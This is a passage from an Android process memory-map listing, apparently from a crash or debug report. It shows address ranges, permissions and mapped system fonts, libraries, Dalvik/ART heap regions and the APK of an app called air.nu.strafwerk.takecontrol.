                              • aef2e000-aef3d000 r--p 00000000 103:09 1159 /system/fonts/NotoSansMalayalamUI-Bold.ttf
                              • aef3d000-aef4c000 r--p 00000000 103:09 1160 /system/fonts/NotoSansMalayalamUI-Regular.ttf
                              • aef4c000-aef5a000 r--p 00000000 103:09 1157 /system/fonts/NotoSansMalayalam-Bold.ttf
                              • aef5a000-aef68000 r--p 00000000 103:09 1158 /system/fonts/NotoSansMalayalam-Regular.ttf
                              • aef68000-aef71000 r--p 00000000 103:09 1180 /system/fonts/NotoSansTamilUI-Bold.ttf
                              • aef71000-aef7a000 r--p 00000000 103:09 1181 /system/fonts/NotoSansTamilUI-Regular.ttf
                              • aef7a000-aef83000 r--p 00000000 103:09 1178 /system/fonts/NotoSansTamil-Bold.ttf
                              • aef83000-aef8c000 r--p 00000000 103:09 1179 /system/fonts/NotoSansTamil-Regular.ttf
                              • aef8c000-aef94000 r--p 00000000 103:09 1132 /system/fonts/NotoSansGurmukhiUI-Bold.ttf
                              • aef94000-aef9c000 r--p 00000000 103:09 1133 /system/fonts/NotoSansGurmukhiUI-Regular.ttf
                              • aef9c000-aefa4000 r--p 00000000 103:09 1130 /system/fonts/NotoSansGurmukhi-Bold.ttf
                              • aefa4000-aefac000 r--p 00000000 103:09 1131 /system/fonts/NotoSansGurmukhi-Regular.ttf
                              • aefac000-aefc8000 r--p 00000000 103:09 1128 /system/fonts/NotoSansGujaratiUI-Bold.ttf
                              • aefc8000-aefe5000 r--p 00000000 103:09 1129 /system/fonts/NotoSansGujaratiUI-Regular.ttf
                              • aefe5000-af002000 r--p 00000000 103:09 1126 /system/fonts/NotoSansGujarati-Bold.ttf
                              • af002000-af020000 r--p 00000000 103:09 1127 /system/fonts/NotoSansGujarati-Regular.ttf
                              • af020000-af03c000 r--p 00000000 103:09 1119 /system/fonts/NotoSansDevanagariUI-Bold.ttf
                              • af03c000-af05a000 r--p 00000000 103:09 1120 /system/fonts/NotoSansDevanagariUI-Regular.ttf
                              • af05a000-af078000 r--p 00000000 103:09 1117 /system/fonts/NotoSansDevanagari-Bold.ttf
                              • af078000-af097000 r--p 00000000 103:09 1118 /system/fonts/NotoSansDevanagari-Regular.ttf
                              • af097000-af09c000 r--p 00000000 103:09 1123 /system/fonts/NotoSansGeorgian-Bold.ttf
                              • af09c000-af0a1000 r--p 00000000 103:09 1124 /system/fonts/NotoSansGeorgian-Regular.ttf
                              • af0a1000-af0a5000 r--p 00000000 103:09 1102 /system/fonts/NotoSansArmenian-Bold.ttf
                              • af0a5000-af0a9000 r--p 00000000 103:09 1103 /system/fonts/NotoSansArmenian-Regular.ttf
                              • af0a9000-af0ae000 r--p 00000000 103:09 1190 /system/fonts/NotoSansThaiUI-Bold.ttf
                              • af0ae000-af0b4000 r--p 00000000 103:09 1191 /system/fonts/NotoSansThaiUI-Regular.ttf
                              • af0b4000-af0b9000 r--p 00000000 103:09 1188 /system/fonts/NotoSansThai-Bold.ttf
                              • af0b9000-af0bf000 r--p 00000000 103:09 1189 /system/fonts/NotoSansThai-Regular.ttf
                              • af0bf000-af0c4000 r--p 00000000 103:09 1137 /system/fonts/NotoSansHebrew-Bold.ttf
                              • af0c4000-af0c9000 r--p 00000000 103:09 1138 /system/fonts/NotoSansHebrew-Regular.ttf
                              • af0c9000-af0ec000 r--p 00000000 103:09 1121 /system/fonts/NotoSansEthiopic-Bold.ttf
                              • af0ec000-af10f000 r--p 00000000 103:09 1122 /system/fonts/NotoSansEthiopic-Regular.ttf
                              • af10f000-af12b000 r--p 00000000 103:09 1100 /system/fonts/NotoNaskhUI-Bold.ttf
                              • af12b000-af148000 r--p 00000000 103:09 1101 /system/fonts/NotoNaskhUI-Regular.ttf
                              • af148000-af164000 r--p 00000000 103:09 1098 /system/fonts/NotoNaskh-Bold.ttf
                              • af164000-af1a5000 r--p 00000000 103:09 1201 /system/fonts/Roboto-BoldItalic.ttf
                              • af1a5000-af1e1000 r--p 00000000 103:09 1200 /system/fonts/Roboto-Bold.ttf
                              • af1e1000-af222000 r--p 00000000 103:09 1199 /system/fonts/Roboto-BlackItalic.ttf
                              • af222000-af25e000 r--p 00000000 103:09 1198 /system/fonts/Roboto-Black.ttf
                              • af25e000-af29f000 r--p 00000000 103:09 1206 /system/fonts/Roboto-MediumItalic.ttf
                              • af29f000-af2da000 r--p 00000000 103:09 1205 /system/fonts/Roboto-Medium.ttf
                              • af2da000-af31b000 r--p 00000000 103:09 1202 /system/fonts/Roboto-Italic.ttf
                              • af31b000-af356000 r--p 00000000 103:09 1207 /system/fonts/Roboto-Regular.ttf
                              • af356000-af397000 r--p 00000000 103:09 1204 /system/fonts/Roboto-LightItalic.ttf
                              • af397000-af3d3000 r--p 00000000 103:09 1203 /system/fonts/Roboto-Light.ttf
                              • af3d3000-af415000 r--p 00000000 103:09 1209 /system/fonts/Roboto-ThinItalic.ttf
                              • af415000-af452000 r--p 00000000 103:09 1208 /system/fonts/Roboto-Thin.ttf
                              • af452000-b062e000 r--s 00000000 103:09 2119 /system/usr/icu/icudt53l.dat
                              • b062f000-b0631000 rw-p 00000000 00:04 13866743 /dev/ashmem/dalvik-indirect ref table (deleted)
                              • b0636000-b063e000 rw-p 00000000 00:04 13866640 /dev/ashmem/dalvik-large object space allocation (deleted)
                              • b063e000-b063f000 ---p 00000000 00:00 0
                              • b063f000-b0640000 ---p 00000000 00:00 0
                              • b0640000-b0742000 rw-p 00000000 00:00 0 [stack:19077]
                              • b0742000-b0b42000 rw-p 00000000 00:04 10666 /dev/ashmem/dalvik-allocspace main rosalloc space live-bitmap 3 (deleted)
                              • b0b42000-b1d1e000 r--s 00000000 103:09 2119 /system/usr/icu/icudt53l.dat
                              • b1d1e000-b1d52000 r-xp 00000000 103:09 1489 /system/lib/libjavacore.so
                              • b1d52000-b1d53000 ---p 00000000 00:00 0
                              • b1d53000-b1d54000 r--p 00034000 103:09 1489 /system/lib/libjavacore.so
                              • b1d54000-b1d56000 rw-p 00035000 103:09 1489 /system/lib/libjavacore.so
                              • b1d56000-b1d92000 rw-p 00000000 00:00 0 [anon:libc_malloc]
                              • b1d92000-b1daf000 r--p 00000000 103:09 1099 /system/fonts/NotoNaskh-Regular.ttf
                              • b1daf000-b1db0000 r-xp 00000000 103:09 1347 /system/lib/hw/memtrack.msm8916.so
                              • b1db0000-b1db1000 r--p 00000000 103:09 1347 /system/lib/hw/memtrack.msm8916.so
                              • b1db1000-b1db2000 rw-p 00001000 103:09 1347 /system/lib/hw/memtrack.msm8916.so
                              • b1db7000-b1dc7000 rw-p 00000000 00:04 10665 /dev/ashmem/dalvik-rosalloc page map (deleted)
                              • b1dc7000-b1dc9000 rw-p 00000000 00:04 10613 /dev/ashmem/dalvik-indirect ref table (deleted)
                              • b1dc9000-b1e91000 rw-p 00000000 00:04 10611 /dev/ashmem/dalvik-indirect ref table (deleted)
                              • b1e91000-b1f59000 rw-p 00000000 00:04 10610 /dev/ashmem/dalvik-indirect ref table (deleted)
                              • b1f59000-b1f5a000 rw-p 00000000 00:04 10609 /dev/ashmem/dalvik-mark sweep sweep array free buffer (deleted)
                              • b1f5a000-b1f5b000 rw-p 00000000 00:04 10608 /dev/ashmem/dalvik-mark sweep sweep array free buffer (deleted)
                              • b1f5b000-b1f5c000 rw-p 00000000 00:04 10607 /dev/ashmem/dalvik-mark sweep sweep array free buffer (deleted)
                              • b1f5c000-b1f5d000 rw-p 00000000 00:04 10606 /dev/ashmem/dalvik-mark sweep sweep array free buffer (deleted)
                              • b1f5d000-b1f5e000 rw-p 00000000 00:04 10605 /dev/ashmem/dalvik-mark sweep sweep array free buffer (deleted)
                              • b1f5e000-b275f000 rw-p 00000000 00:04 10603 /dev/ashmem/dalvik-live stack (deleted)
                              • b275f000-b2f60000 rw-p 00000000 00:04 10602 /dev/ashmem/dalvik-allocation stack (deleted)
                              • b2f60000-b2fa0000 rw-p 00000000 00:04 10601 /dev/ashmem/dalvik-mark stack (deleted)
                              • b2fa0000-b3c46000 rw-p 00000000 00:04 10600 /dev/ashmem/dalvik-card table (deleted)
                              • b3c46000-b3c66000 rw-p 00000000 00:04 10599 /dev/ashmem/dalvik-large marked objects (deleted)
                              • b3c66000-b3c86000 rw-p 00000000 00:04 10598 /dev/ashmem/dalvik-large live objects (deleted)
                              • b3c86000-b4086000 rw-p 00000000 00:04 10597 /dev/ashmem/dalvik-allocspace main rosalloc space 1 mark-bitmap 2 (deleted)
                              • b4086000-b4486000 rw-p 00000000 00:04 10596 /dev/ashmem/dalvik-allocspace main rosalloc space 1 live-bitmap 2 (deleted)
                              • b4486000-b4496000 rw-p 00000000 00:04 10595 /dev/ashmem/dalvik-rosalloc page map (deleted)
                              • b4496000-b4498000 rw-p 00000000 00:00 0
                              • b449d000-b449f000 rw-p 00000000 00:04 13866591 /dev/ashmem/dalvik-indirect ref table (deleted)
                              • b449f000-b44a4000 rw-p 00000000 00:04 13868285 /dev/ashmem/dalvik-large object space allocation (deleted)
                              • b44a4000-b44a9000 r--s 001ce000 103:0a 32921 /data/app/air.nu.strafwerk.takecontrol-1/base.apk
                              • b44a9000-b44ab000 rw-p 00000000 00:00 0
                              • b44ab000-b44ac000 r--p 00000000 103:0a 32870 /data/data/air.nu.strafwerk.takecontrol/cache/1178572636/9377583.dex
                              • b44ac000-b44ae000 rw-p 00000000 00:04 13862380 /dev/ashmem/dalvik-indirect ref table (deleted)
                              • b44ae000-b44b0000 rw-p 00000000 00:00 0
                              • b44b0000-b44b2000 rw-p 00000000 00:04 13864486 /dev/ashmem/dalvik-indirect ref table (deleted)
                              • b44b2000-b44b4000 rw-p 00000000 00:00 0
                              • b44b4000-b44b6000 rw-p 00000000 00:04 13863531 /dev/ashmem/dalvik-indirect ref table (deleted)
                              • b44b6000-b44b8000 rw-p 00000000 00:00 0
                              • b44b8000-b44b9000 r--p 00000000 103:0a 32797 /data/dalvik-cache/arm/data@app@air.nu.strafwerk.takecontrol-1@base.apk@classes.dex
                              • b44ba000-b44bc000 rw-p 00000000 00:04 13862367 /dev/ashmem/dalvik-indirect ref table (deleted)
                              • b44bc000-b44be000 rw-p 00000000 00:04 13864435 /dev/ashmem/dalvik-indirect ref table (deleted)
                              • b44be000-b44c0000 rw-p 00000000 00:04 13862366 /dev/ashmem/dalvik-indirect ref table (deleted)
                              • b44c0000-b44c2000 rw-p 00000000 00:04 13862365 /dev/ashmem/dalvik-indirect ref table (deleted)
                              • b44c2000-b44c4000 rw-p 00000000 00:00 0
                              • b44c4000-b44c6000 rw-p 00000000 00:04 13863530 /dev/ashmem/dalvik-indirect ref table (deleted)
                              • b44c6000-b44c8000 rw-p 00000000 00:04 13864434 /dev/ashmem/dalvik-indirect ref table (deleted)
                              • b44c8000-b44ca000 rw-p 00000000 00:00 0
                              • b44ca000-b44cc000 rw-p 00000000 00:04 13862363 /dev/ashmem/dalvik-indirect ref table (deleted)
                              • b44cc000-b44d6000 rw-p 00000000 00:00 0
                              • b44d6000-b44d7000 ---p 00000000 00:00 0
                              • b44d7000-b44d8000 ---p 00000000 00:00 0
                              • b44d8000-b45da000 rw-p 00000000 00:00 0 [stack:19076]
                              • b45da000-b45db000 ---p 00000000 00:00 0
                              • b45db000-b45dc000 ---p 00000000 00:00 0
                              • b45dc000-b46de000 rw-p 00000000 00:00 0 [stack:19075]
                              • b46de000-b46e0000 rw-p 00000000 00:04 13863529 /dev/ashmem/dalvik-indirect ref table (deleted)
                              • b46e0000-b46e2000 rw-p 00000000 00:00 0
                              • b46e2000-b46e3000 ---p 00000000 00:00 0
                              • b46e3000-b46e4000 ---p 00000000 00:00 0
                              • b46e4000-b47e0000 rw-p 00000000 00:00 0 [stack:19074]
                              • b47e0000-b47e2000 rw-p 00000000 00:04 13864432 /dev/ashmem/dalvik-indirect ref table (deleted)
                              • b47e2000-b47e4000 rw-p 00000000 00:04 13863528 /dev/ashmem/dalvik-indirect ref table (deleted)
                              • b47e4000-b47e8000 rw-p 00000000 00:00 0
                              • b47e8000-b47ea000 rw-p 00000000 00:04 13864429 /dev/ashmem/dalvik-indirect ref table (deleted)
                              • b47ea000-b47ec000 rw-p 00000000 00:00 0
                              • b47ec000-b47ed000 rw-p 00000000 00:04 13864428 /dev/ashmem/dalvik-Heap thread pool worker thread 2 (deleted)
                              • b47ed000-b47ee000 ---p 00001000 00:04 13864428 /dev/ashmem/dalvik-Heap thread pool worker thread 2 (deleted)
                              • b47ee000-b48ec000 rw-p 00002000 00:04 13864428 /dev/ashmem/dalvik-Heap thread pool worker thread 2 (deleted)
                              • b48ec000-b48ed000 rw-p 00000000 00:04 13864427 /dev/ashmem/dalvik-Heap thread pool worker thread 1 (deleted)
                              • b48ed000-b48ee000 ---p 00001000 00:04 13864427 /dev/ashmem/dalvik-Heap thread pool worker thread 1 (deleted)
                              • b48ee000-b49ec000 rw-p 00002000 00:04 13864427 /dev/ashmem/dalvik-Heap thread pool worker thread 1 (deleted)
                              • b49ec000-b49ed000 rw-p 00000000 00:04 13864426 /dev/ashmem/dalvik-Heap thread pool worker thread 0 (deleted)
                              • b49ed000-b49ee000 ---p 00001000 00:04 13864426 /dev/ashmem/dalvik-Heap thread pool worker thread 0 (deleted)
                              • b49ee000-b4aec000 rw-p 00002000 00:04 13864426 /dev/ashmem/dalvik-Heap thread pool worker thread 0 (deleted)
                              • b4aec000-b4bc9000 rw-p 00000000 00:04 10670 /dev/ashmem/dalvik-allocspace non moving space mark-bitmap 4 (deleted)
                              • b4bc9000-b4ca6000 rw-p 00000000 00:04 10669 /dev/ashmem/dalvik-allocspace non moving space live-bitmap 4 (deleted)
                              • b4ca6000-b4da6000 rw-p 00000000 00:04 10591 /dev/ashmem/dalvik-allocspace zygote / non moving space mark-bitmap 0 (deleted)
                              • b4da6000-b4ea6000 rw-p 00000000 00:04 10590 /dev/ashmem/dalvik-allocspace zygote / non moving space live-bitmap 0 (deleted)
                              • b4ea6000-b4ea7000 r--p 00000000 103:09 1230 /system/framework/arm/boot.oat
                              • b4ea7000-b4ea8000 rw-p 00000000 00:04 10604 /dev/ashmem/dalvik-mark sweep sweep array free buffer (deleted)
                              • b4ea8000-b4ecf000 r--p 009be000 103:0a 140 /data/dalvik-cache/arm/system@framework@boot.art
                              • b4ecf000-b4ed0000 r-xp 00000000 103:09 1571 /system/lib/libsigchain.so
                              • b4ed0000-b4ed1000 r--p 00000000 103:09 1571 /system/lib/libsigchain.so
                              • b4ed1000-b4ed2000 rw-p 00001000 103:09 1571 /system/lib/libsigchain.so
                              • b4ed2000-b4ed3000 r--p 00000000 00:00 0 [anon:linker_alloc]
                              • b4ed3000-b4eda000 r-xp 00000000 103:09 1398 /system/lib/libbacktrace_libc++.so
                              • b4eda000-b4edb000 r--p 00006000 103:09 1398 /system/lib/libbacktrace_libc++.so
                              • b4edb000-b4edc000 rw-p 00007000 103:09 1398 /system/lib/libbacktrace_libc++.so
                              • b4edc000-b51c5000 r-xp 00000000 103:09 1386 /system/lib/libart.so
                              • b51c5000-b51cd000 r--p 002e8000 103:09 1386 /system/lib/libart.so
                              • b51cd000-b51ce000 rw-p 002f0000 103:09 1386 /system/lib/libart.so
                              • b51ce000-b51d0000 rw-p 00000000 00:00 0
                              • b51d0000-b51d1000 r--p 00000000 00:00 0 [anon:linker_alloc]
                              • b51d1000-b51d2000 r--p 00000000 00:00 0
                              • b51d2000-b51f2000 r--s 00000000 00:0c 6843 /dev/__properties__
                              • b51f2000-b51f4000 r-xp 00000000 103:09 1550 /system/lib/libpowermanager.so
                              • b51f4000-b51f5000 ---p 00000000 00:00 0
                              • b51f5000-b51f6000 r--p 00002000 103:09 1550 /system/lib/libpowermanager.so
                              • b51f6000-b51f7000 rw-p 00003000 103:09 1550 /system/lib/libpowermanager.so
                              • b51f7000-b5202000 r-xp 00000000 103:09 1420 /system/lib/libcommon_time_client.so
                              • b5202000-b5205000 r--p 0000a000 103:09 1420 /system/lib/libcommon_time_client.so
                              • b5205000-b5206000 rw-p 0000d000 103:09 1420 /system/lib/libcommon_time_client.so
                              • b5206000-b5241000 r-xp 00000000 103:09 1400 /system/lib/libbcinfo.so
                              • b5241000-b5242000 r--p 0003a000 103:09 1400 /system/lib/libbcinfo.so
                              • b5242000-b5243000 rw-p 0003b000 103:09 1400 /system/lib/libbcinfo.so
                              • b5243000-b5264000 r-xp 00000000 103:09 1399 /system/lib/libbcc.so
                              • b5264000-b5265000 ---p 00000000 00:00 0
                              • b5265000-b5266000 r--p 00021000 103:09 1399 /system/lib/libbcc.so
                              • b5266000-b5267000 rw-p 00022000 103:09 1399 /system/lib/libbcc.so
                              • b5267000-b5287000 rw-p 00000000 00:00 0
                              • b5287000-b5b76000 r-xp 00000000 103:09 1360 /system/lib/libLLVM.so
                              • b5b76000-b5b77000 ---p 00000000 00:00 0
                              • b5b77000-b5bbe000 r--p 008ef000 103:09 1360 /system/lib/libLLVM.so
                              • b5bbe000-b5bbf000 rw-p 00936000 103:09 1360 /system/lib/libLLVM.so
                              • b5bbf000-b5bc6000 rw-p 00000000 00:00 0
                              • b5bc6000-b5bc8000 r-xp 00000000 103:09 1631 /system/lib/libunwind-ptrace.so
                              • b5bc8000-b5bc9000 r--p 00001000 103:09 1631 /system/lib/libunwind-ptrace.so
                              • b5bc9000-b5bca000 rw-p 00002000 103:09 1631 /system/lib/libunwind-ptrace.so
                              • b5bca000-b5bd6000 r-xp 00000000 103:09 1632 /system/lib/libunwind.so
                              • b5bd6000-b5bd7000 r--p 0000b000 103:09 1632 /system/lib/libunwind.so
                              • b5bd7000-b5bd8000 rw-p 0000c000 103:09 1632 /system/lib/libunwind.so
                              • b5bd8000-b5c1e000 rw-p 00000000 00:00 0
                              • b5c1e000-b5c22000 r-xp 00000000 103:09 1474 /system/lib/libgccdemangle.so
                              • b5c22000-b5c23000 ---p 00000000 00:00 0
                              • b5c23000-b5c24000 r--p 00004000 103:09 1474 /system/lib/libgccdemangle.so
                              • b5c24000-b5c25000 rw-p 00005000 103:09 1474 /system/lib/libgccdemangle.so
                              • b5c25000-b5c35000 r-xp 00000000 103:09 1544 /system/lib/libpcre.so
                              • b5c35000-b5c36000 r--p 0000f000 103:09 1544 /system/lib/libpcre.so
                              • b5c36000-b5c37000 rw-p 00010000 103:09 1544 /system/lib/libpcre.so
                              • b5c37000-b5cc5000 r-xp 00000000 103:09 1406 /system/lib/libc++.so
                              • b5cc5000-b5cca000 r--p 0008d000 103:09 1406 /system/lib/libc++.so
                              • b5cca000-b5ccb000 rw-p 00092000 103:09 1406 /system/lib/libc++.so
                              • b5ccb000-b5ccc000 rw-p 00000000 00:00 0
                              • b5ccc000-b5ccd000 r--p 00000000 00:00 0
                              • b5ccd000-b5cce000 r--p 00000000 00:00 0 [anon:linker_alloc]
                              • b5cce000-b5cf4000 r-xp 00000000 103:09 1548 /system/lib/libpng.so
                              • b5cf4000-b5cf5000 r--p 00025000 103:09 1548 /system/lib/libpng.so
                              • b5cf5000-b5cf6000 rw-p 00026000 103:09 1548 /system/lib/libpng.so
                              • b5cf6000-b5d4d000 r-xp 00000000 103:09 1472 /system/lib/libft2.so
                              • b5d4d000-b5d4f000 r--p 00056000 103:09 1472 /system/lib/libft2.so
                              • b5d4f000-b5d50000 rw-p 00058000 103:09 1472 /system/lib/libft2.so
                              • b5d50000-b5d64000 r-xp 00000000 103:09 1590 /system/lib/libstagefright_foundation.so
                              • b5d64000-b5d65000 ---p 00000000 00:00 0
                              • b5d65000-b5d66000 r--p 00014000 103:09 1590 /system/lib/libstagefright_foundation.so
                              • b5d66000-b5d67000 rw-p 00015000 103:09 1590 /system/lib/libstagefright_foundation.so
                              • b5d67000-b5d6e000 r-xp 00000000 103:09 1535 /system/lib/libnbaio.so
                              • b5d6e000-b5d6f000 ---p 00000000 00:00 0
                              • b5d6f000-b5d70000 r--p 00007000 103:09 1535 /system/lib/libnbaio.so
                              • b5d70000-b5d71000 rw-p 00008000 103:09 1535 /system/lib/libnbaio.so
                              • b5d71000-b5d75000 r-xp 00000000 103:09 1473 /system/lib/libgabi++.so
                              • b5d75000-b5d76000 r--p 00003000 103:09 1473 /system/lib/libgabi++.so
                              • b5d76000-b5d77000 rw-p 00004000 103:09 1473 /system/lib/libgabi++.so
                              • b5d77000-b5d92000 r-xp 00000000 103:09 1375 /system/lib/libRScpp.so
                              • b5d92000-b5d93000 r--p 0001a000 103:09 1375 /system/lib/libRScpp.so
                              • b5d93000-b5d94000 rw-p 0001b000 103:09 1375 /system/lib/libRScpp.so
                              • b5d94000-b5dcb000 r-xp 00000000 103:09 1372 /system/lib/libRS.so
                              • b5dcb000-b5dcd000 r--p 00036000 103:09 1372 /system/lib/libRS.so
                              • b5dcd000-b5dce000 rw-p 00038000 103:09 1372 /system/lib/libRS.so
                              • b5dce000-b5dd1000 r-xp 00000000 103:09 1645 /system/lib/libwpa_client.so
                              • b5dd1000-b5dd2000 r--p 00002000 103:09 1645 /system/lib/libwpa_client.so
                              • b5dd2000-b5dd3000 rw-p 00003000 103:09 1645 /system/lib/libwpa_client.so
                              • b5dd3000-b5dd4000 r-xp 00000000 103:09 1621 /system/lib/libsync.so
                              • b5dd4000-b5dd5000 r--p 00000000 103:09 1621 /system/lib/libsync.so
                              • b5dd5000-b5dd6000 rw-p 00001000 103:09 1621 /system/lib/libsync.so
                              • b5dd6000-b5dda000 r-xp 00000000 103:09 1582 /system/lib/libspeexresampler.so
                              • b5dda000-b5ddb000 r--p 00003000 103:09 1582 /system/lib/libspeexresampler.so
                              • b5ddb000-b5ddc000 rw-p 00004000 103:09 1582 /system/lib/libspeexresampler.so
                              • b5ddc000-b5e4a000 r-xp 00000000 103:09 1356 /system/lib/libGLES_trace.so
                              • b5e4a000-b5e4b000 ---p 00000000 00:00 0
                              • b5e4b000-b5e4d000 r--p 0006e000 103:09 1356 /system/lib/libGLES_trace.so
                              • b5e4d000-b5e4e000 rw-p 00070000 103:09 1356 /system/lib/libGLES_trace.so
                              • b5e4e000-b5e55000 r-xp 00000000 103:09 1397 /system/lib/libbacktrace.so
                              • b5e55000-b5e56000 r--p 00006000 103:09 1397 /system/lib/libbacktrace.so
                              • b5e56000-b5e57000 rw-p 00007000 103:09 1397 /system/lib/libbacktrace.so
                              • b5e57000-b5e58000 r--p 00000000 00:00 0 [anon:linker_alloc]
                              • b5e58000-b5e70000 r-xp 00000000 103:09 1647 /system/lib/libz.so
                              • b5e70000-b5e71000 r--p 00017000 103:09 1647 /system/lib/libz.so
                              • b5e71000-b5e72000 rw-p 00018000 103:09 1647 /system/lib/libz.so
                              • b5e72000-b5e75000 r-xp 00000000 103:09 1633 /system/lib/libusbhost.so
                              • b5e75000-b5e76000 r--p 00002000 103:09 1633 /system/lib/libusbhost.so
                              • b5e76000-b5e77000 rw-p 00003000 103:09 1633 /system/lib/libusbhost.so
                              • b5e77000-b5e81000 r-xp 00000000 103:09 1630 /system/lib/libui.so
                              • b5e81000-b5e82000 r--p 00009000 103:09 1630 /system/lib/libui.so
                              • b5e82000-b5e83000 rw-p 0000a000 103:09 1630 /system/lib/libui.so
                              • b5e83000-b5eba000 r-xp 00000000 103:09 1617 /system/lib/libstlport.so
                              • b5eba000-b5ebd000 r--p 00036000 103:09 1617 /system/lib/libstlport.so
                              • b5ebd000-b5ebe000 rw-p 00039000 103:09 1617 /system/lib/libstlport.so
                              • b5ebe000-b5ef9000 r-xp 00000000 103:09 1585 /system/lib/libssl.so
                              • b5ef9000-b5efc000 r--p 0003a000 103:09 1585 /system/lib/libssl.so
                              • b5efc000-b5eff000 rw-p 0003d000 103:09 1585 /system/lib/libssl.so
                              • b5eff000-b5ffb000 r-xp 00000000 103:09 1583 /system/lib/libsqlite.so
                              • b5ffb000-b5ffd000 r--p 000fb000 103:09 1583 /system/lib/libsqlite.so
                              • b5ffd000-b5ffe000 rw-p 000fd000 103:09 1583 /system/lib/libsqlite.so
                              • b5ffe000-b6008000 r-xp 00000000 103:09 1578 /system/lib/libsoundtrigger.so
                              • b6008000-b6009000 ---p 00000000 00:00 0
                              • b6009000-b600c000 r--p 0000a000 103:09 1578 /system/lib/libsoundtrigger.so
                              • b600c000-b600d000 rw-p 0000d000 103:09 1578 /system/lib/libsoundtrigger.so
                              • b600d000-b605c000 r-xp 00000000 103:09 1576 /system/lib/libsonivox.so
                              • b605c000-b605d000 r--p 0004e000 103:09 1576 /system/lib/libsonivox.so
                              • b605d000-b605e000 rw-p 0004f000 103:09 1576 /system/lib/libsonivox.so
                              • b605e000-b6063000 rw-p 00000000 00:00 0
                              • b6063000-b6281000 r-xp 00000000 103:09 1572 /system/lib/libskia.so
                              • b6281000-b6282000 ---p 00000000 00:00 0
                              • b6282000-b6299000 r--p 0021e000 103:09 1572 /system/lib/libskia.so
                              • b6299000-b629b000 rw-p 00235000 103:09 1572 /system/lib/libskia.so
                              • b629b000-b62a0000 rw-p 00000000 00:00 0
                              • b62a0000-b62ac000 r-xp 00000000 103:09 1567 /system/lib/libselinux.so
                              • b62ac000-b62ad000 ---p 00000000 00:00 0
                              • b62ad000-b62ae000 r--p 0000c000 103:09 1567 /system/lib/libselinux.so
                              • b62ae000-b62af000 rw-p 0000d000 103:09 1567 /system/lib/libselinux.so
                              • b62af000-b62b1000 r-xp 00000000 103:09 1552 /system/lib/libprocessgroup.so
                              • b62b1000-b62b2000 r--p 00001000 103:09 1552 /system/lib/libprocessgroup.so
                              • b62b2000-b62b3000 rw-p 00002000 103:09 1552 /system/lib/libprocessgroup.so
                              • b62b3000-b66fe000 r-xp 00000000 103:09 1545 /system/lib/libpdfium.so
                              • b66fe000-b670a000 r--p 0044a000 103:09 1545 /system/lib/libpdfium.so
                              • b670a000-b670e000 rw-p 00456000 103:09 1545 /system/lib/libpdfium.so
                              • b670e000-b6713000 rw-p 00000000 00:00 0
                              • b6713000-b6714000 r--p 00000000 00:00 0 [anon:linker_alloc]
                              • b6714000-b6719000 r-xp 00000000 103:09 1538 /system/lib/libnetutils.so
                              • b6719000-b671a000 r--p 00004000 103:09 1538 /system/lib/libnetutils.so
                              • b671a000-b671b000 rw-p 00005000 103:09 1538 /system/lib/libnetutils.so
                              • b671b000-b671d000 r-xp 00000000 103:09 1536 /system/lib/libnetd_client.so
                              • b671d000-b671e000 r--p 00001000 103:09 1536 /system/lib/libnetd_client.so
                              • b671e000-b671f000 rw-p 00002000 103:09 1536 /system/lib/libnetd_client.so
                              • b671f000-b6724000 r-xp 00000000 103:09 1534 /system/lib/libnativehelper.so
                              • b6724000-b6725000 r--p 00004000 103:09 1534 /system/lib/libnativehelper.so
                              • b6725000-b6726000 rw-p 00005000 103:09 1534 /system/lib/libnativehelper.so
                              • b6726000-b6727000 r--p 00000000 00:00 0 [anon:linker_alloc]
                              • b6727000-b6729000 r-xp 00000000 103:09 1533 /system/lib/libnativebridge.so
                              • b6729000-b672a000 r--p 00001000 103:09 1533 /system/lib/libnativebridge.so
                              • b672a000-b672b000 rw-p 00002000 103:09 1533 /system/lib/libnativebridge.so
                              • b672b000-b6734000 r-xp 00000000 103:09 1516 /system/lib/libminikin.so
                              • b6734000-b6735000 ---p 00000000 00:00 0
                              • b6735000-b6736000 r--p 00009000 103:09 1516 /system/lib/libminikin.so
                              • b6736000-b6737000 rw-p 0000a000 103:09 1516 /system/lib/libminikin.so
                              • b6737000-b6738000 r-xp 00000000 103:09 1515 /system/lib/libmemtrack.so
                              • b6738000-b6739000 r--p 00000000 103:09 1515 /system/lib/libmemtrack.so
                              • b6739000-b673a000 rw-p 00001000 103:09 1515 /system/lib/libmemtrack.so
                              • b673a000-b67bc000 r-xp 00000000 103:09 1509 /system/lib/libmedia.so
                              • b67bc000-b67bd000 ---p 00000000 00:00 0
                              • b67bd000-b67d6000 r--p 00082000 103:09 1509 /system/lib/libmedia.so
                              • b67d6000-b67d7000 rw-p 0009b000 103:09 1509 /system/lib/libmedia.so
                              • b67d7000-b6807000 r-xp 00000000 103:09 1496 /system/lib/libjpeg.so
                              • b6807000-b6808000 r--p 0002f000 103:09 1496 /system/lib/libjpeg.so
                              • b6808000-b6809000 rw-p 00030000 103:09 1496 /system/lib/libjpeg.so
                              • b6809000-b6841000 r-xp 00000000 103:09 1486 /system/lib/libinputflinger.so
                              • b6841000-b6844000 r--p 00037000 103:09 1486 /system/lib/libinputflinger.so
                              • b6844000-b6845000 rw-p 0003a000 103:09 1486 /system/lib/libinputflinger.so
                              • b6845000-b685c000 r-xp 00000000 103:09 1485 /system/lib/libinput.so
                              • b685c000-b685f000 r--p 00016000 103:09 1485 /system/lib/libinput.so
                              • b685f000-b6860000 rw-p 00019000 103:09 1485 /system/lib/libinput.so
                              • b6860000-b686b000 r-xp 00000000 103:09 1484 /system/lib/libimg_utils.so
                              • b686b000-b686d000 r--p 0000a000 103:09 1484 /system/lib/libimg_utils.so
                              • b686d000-b686e000 rw-p 0000c000 103:09 1484 /system/lib/libimg_utils.so
                              • b686e000-b696a000 r-xp 00000000 103:09 1483 /system/lib/libicuuc.so
                              • b696a000-b6975000 r--p 000fb000 103:09 1483 /system/lib/libicuuc.so
                              • b6975000-b6976000 rw-p 00106000 103:09 1483 /system/lib/libicuuc.so
                              • b6976000-b697a000 rw-p 00000000 00:00 0
                              • b697a000-b697b000 r--p 00000000 00:00 0 [anon:linker_alloc]
                              • b697b000-b6ac9000 r-xp 00000000 103:09 1482 /system/lib/libicui18n.so
                              • b6ac9000-b6aca000 ---p 00000000 00:00 0
                              • b6aca000-b6ad4000 r--p 0014e000 103:09 1482 /system/lib/libicui18n.so
                              • b6ad4000-b6ad5000 rw-p 00158000 103:09 1482 /system/lib/libicui18n.so
                              • b6ad5000-b6b1d000 r-xp 00000000 103:09 1481 /system/lib/libhwui.so
                              • b6b1d000-b6b1e000 ---p 00000000 00:00 0
